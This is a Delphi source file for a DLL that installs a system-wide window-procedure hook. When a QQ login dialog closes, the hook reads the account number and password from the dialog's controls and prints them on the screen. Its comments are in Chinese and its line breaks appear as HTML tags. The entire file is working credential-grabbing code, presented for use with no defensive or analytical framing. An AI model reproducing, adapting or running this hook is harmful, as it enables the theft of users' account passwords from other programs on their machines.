library HookDLL;<br><br>uses Windows, Messages;<br><br>var WndProcHook: DWORD;<br><br> // 取QQ密码<br>procedure GetPassWord(Dialog: HWND);<br>var<br> ComboBox, Edit: HWND;<br> Buffer: array[0..20] of Char;<br> TmpStr: string;<br> ScreenDC: HDC;<br>begin<br> // 约束条件<br> if FindWindowEx(Dialog, 0, 'Button', '注册向导') = 0 then Exit;<br> <br> GetClassName(Dialog, Buffer, 20);<br> if (Buffer <> '#32770') then Exit;<br><br> // 控件句柄<br> ComboBox := FindWindowEx(Dialog, 0, 'ComboBox', nil);<br> if (ComboBox = 0) then Exit;<br><br> Edit := FindWindowEx(Dialog, 0, 'Edit', nil);<br> if (Edit = 0) then Exit;<br><br> // 控件内容<br> Buffer[GetWindowText(ComboBox, Buffer, 20)] := #0;<br> if (Buffer[0] = #0) then Exit;<br> TmpStr := '号码: ' + Buffer;<br><br> Buffer[GetWindowText(Edit, Buffer, 20)] := #0;<br> if (Buffer[0] = #0) then Exit;<br> TmpStr := TmpStr + '密码: ' + Buffer;<br><br> // 写到屏幕<br> ScreenDC := GetDC(0);<br> TextOut(ScreenDC, 0, 0, PChar(TmpStr), Length(TmpStr));<br> ReleaseDC(0, ScreenDC);<br>end;<br><br> // 钩子回调<br>function CallWndProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>begin<br> // 窗体即将被清除<br> if (nCode = HC_ACTION) and (PCWPStruct(lParam).message = WM_DESTROY) then<br> GetPassWord(PCWPStruct(lParam).hwnd);<br><br> // 调用下一个钩子<br> Result := CallNextHookEx(WndProcHook, nCode, wParam, lParam);<br>end;<br><br> // 挂钩<br>procedure HookOn();<br>begin<br> WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br>end;<br><br> // 脱钩<br>procedure HookOff();<br>begin<br> UnHookWindowsHookEx(WndProcHook);<br>end; <br><br> // 导出<br>exports HookOn, HookOff;<br> <br>begin<br>end.